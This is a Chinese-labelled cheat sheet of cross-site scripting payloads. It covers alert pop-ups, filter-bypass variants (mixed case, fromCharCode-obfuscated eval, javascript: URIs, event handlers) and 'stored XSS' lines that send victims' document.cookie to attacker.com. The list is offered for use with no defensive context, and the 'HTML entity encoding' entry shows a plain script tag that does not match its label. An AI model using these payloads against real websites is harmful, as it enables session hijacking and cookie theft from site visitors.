1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| 基本弹窗 <script>alert('XSS')</script>
简写弹窗 <script>alert(1)</script>
不使用script标签 <img src=x onerror=alert('XSS')>
SVG矢量图形XSS <svg onload=alert('XSS')>
$绕过过滤的XSS脚本$
大小写混淆 <ScRiPt>alert('XSS')</sCrIpT>
使用HTML实体编码 <script>alert('XSS')</script>
使用JavaScript伪协议 <a href="javascript:alert('XSS')">点击我</a>
事件处理程序 <body onload=alert('XSS')>
$存储型XSS示例$
评论框注入 <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
图片标签注入 <img src="http://attacker.com/steal.php?cookie="+document.cookie>
$高级技巧$
使用eval函数 <script>eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))</script>
DOM型XSS "><script>alert('XSS')</script>
使用iframe <iframe src="javascript:alert('XSS')"></iframe>
使用CSS表达式(仅限旧版IE) <div style="xss:expression(alert('XSS'))"></div>
|